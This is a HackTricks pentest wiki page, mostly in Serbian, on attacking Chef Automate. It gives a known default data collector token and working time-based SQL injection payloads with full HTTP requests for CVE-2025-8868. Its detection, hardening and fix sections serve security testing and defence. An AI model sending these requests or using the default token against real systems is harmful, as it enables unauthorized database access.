Chef Automate Enumeration & Attacks

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pregled

Ova stranica sakuplja praktične tehnike za enumeraciju i napade na Chef Automate instance, sa naglaskom na:

  • Otkrivanje gRPC-Gateway-backed REST endpointa i zaključivanje shema zahteva putem odgovora o validaciji/greškama
  • Zloupotreba headera x-data-collector-token za autentifikaciju kada su prisutne podrazumevane vrednosti
  • Time-based blind SQL injection in the Compliance API (CVE-2025-8868) koji utiče na filters[].type polje u /api/v0/compliance/profiles/search

Napomena: Backend odgovori koji uključuju header grpc-metadata-content-type: application/grpc obično ukazuju na to da gRPC-Gateway povezuje REST pozive sa gRPC servisima.

Recon: Architecture and Fingerprints

  • Front-end: Često Angular. Statički bundle-i mogu nagovestiti REST putanje (npr. /api/v0/…)
  • API transport: REST ka gRPC preko gRPC-Gateway
  • Odgovori mogu uključivati grpc-metadata-content-type: application/grpc
  • Database/driver fingerprints:
  • Tela grešaka koja počinju sa pq: snažno ukazuju na PostgreSQL sa Go pq driverom
  • Zanimljivi Compliance endpointi (zahteva autentifikaciju):
  • POST /api/v0/compliance/profiles/search
  • POST /api/v0/compliance/scanner/jobs/search

Auth: Data Collector Token (x-data-collector-token)

Chef Automate izlaže data collector koji autentifikuje zahteve putem posebnog headera:

  • Header: x-data-collector-token
  • Rizik: Neka okruženja mogu zadržati podrazumevani token koji daje pristup zaštićenim API rutama. Poznat podrazumevani token viđen u prirodi:
  • 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

Ako postoji, ovaj token se može iskoristiti za pozivanje Compliance API endpointa koji su inače zaštićeni autentifikacijom. Uvek pokušajte rotirati/onemogućiti podrazumevane vrednosti tokom hardeninga.

API Schema Inference via Error-Driven Discovery

gRPC-Gateway-backed endpointi često leak-uju korisne greške validacije koje opisuju očekivani model zahteva.

Za /api/v0/compliance/profiles/search, backend očekuje body sa nizom filters, gde je svaki element objekat sa:

  • type: string (identifikator polja filtera)
  • values: array of strings

Example request shape:

{
"filters": [
{ "type": "name", "values": ["test"] }
]
}

Neispravan JSON ili pogrešni tipovi polja obično izazivaju 4xx/5xx odgovore sa nagoveštajima, a zaglavlja ukazuju na ponašanje gRPC-Gateway. Iskoristite to da mapirate polja i lokalizujete površine za injekciju.

Compliance API SQL Injection (CVE-2025-8868)

  • Pogođeni endpoint: POST /api/v0/compliance/profiles/search
  • Tačka injekcije: filters[].type
  • Tip ranjivosti: time-based blind SQL injection in PostgreSQL
  • Uzrok: Nedostatak pravilne parametrizacije/whitelistinga pri interpolaciji polja type u dinamički SQL fragment (verovatno korišćen za konstrukciju identifikatora/WHERE klauza). Namerno konstruisane vrednosti u type se evaluiraju od strane PostgreSQL.

Funkcionalan time-based payload:

{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}

Napomene tehnike:

  • Zatvorite originalni string jednostrukim apostrofom (’)
  • Konkatenirajte podupit koji poziva pg_sleep(N)
  • Ponovo uđite u kontekst stringa preko || tako da konačni SQL ostane sintaksički ispravan bez obzira gde je type ugrađen

Dokaz pomoću diferencijalne latencije

Pošaljite uparene zahteve i uporedite vreme odgovora da biste potvrdili izvršavanje na strani servera:

  • N = 1 sekunda
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
  • N = 5 sekundi
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}

Observed behavior:

  • Vremena odziva se povećavaju proporcionalno pg_sleep(N)
  • HTTP 500 odgovori mogu uključivati pq: detalje tokom ispitivanja, potvrđujući putanje izvršavanja SQL-a

Savet: Koristite alat za merenje vremena (npr. više pokušaja sa statističkim poređenjem) da smanjite šum i lažno pozitivne rezultate.

Impact

Autentifikovani korisnici — ili neautentifikovani akteri koji zloupotrebljavaju podrazumevani x-data-collector-token — mogu izvršavati proizvoljan SQL unutar PostgreSQL konteksta Chef Automate‑a, ugrožavajući poverljivost i integritet profila usklađenosti, konfiguracije i telemetrije.

Affected versions / Fix

  • CVE: CVE-2025-8868
  • Preporuka za nadogradnju: Chef Automate 4.13.295 ili noviji (Linux x86) prema obaveštenjima dobavljača

Detection and Forensics

  • API layer:
  • Pratite 500 odgovore na /api/v0/compliance/profiles/search gde filters[].type sadrži navodnike (’), operator konkatenacije (||), ili reference na funkcije kao pg_sleep
  • Pregledajte zaglavlja odgovora za grpc-metadata-content-type kako biste identifikovali gRPC-Gateway tokove
  • Database layer (PostgreSQL):
  • Auditujte pozive pg_sleep i greške neispravnih identifikatora (često prikazane sa prefiksima pq: koji dolaze iz Go pq drajvera)
  • Authentication:
  • Zapisujte i postavljajte upozorenja za upotrebu x-data-collector-token, naročito poznatih podrazumevanih vrednosti, preko API ruta

Mitigations and Hardening

  • Immediate:
  • Zamenite/onemogućite podrazumevane data collector tokene
  • Ograničite pristup do data collector endpoint‑a; zahtevajte jake, jedinstvene tokene
  • Code-level:
  • Parametrišite upite; nikada ne konkatenirajte SQL fragmente kao stringove
  • Strogo izričito dozvolite samo prihvatljive vrednosti polja type na serveru (enum)
  • Izbegavajte dinamičko sklapanje SQL‑a za identifikatore/klauzule; ako je dinamičko ponašanje neophodno, koristite bezbedno citiranje identifikatora i eksplicitne bele liste

Practical Testing Checklist

  • Proverite da li se x-data-collector-token prihvata i da li poznati podrazumevani radi
  • Mapirajte šemu zahteva Compliance API‑ja izazivanjem grešaka validacije i čitanjem poruka o grešci/zaglavlja
  • Testirajte za SQLi u manje očiglednim „identifier-like“ poljima (npr. filters[].type), ne samo u nizovima vrednosti ili top‑level tekstualnim poljima
  • Koristite tehnike zasnovane na vremenu uz konkatenaciju da biste održali SQL sintaksno važećim u različitim kontekstima

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks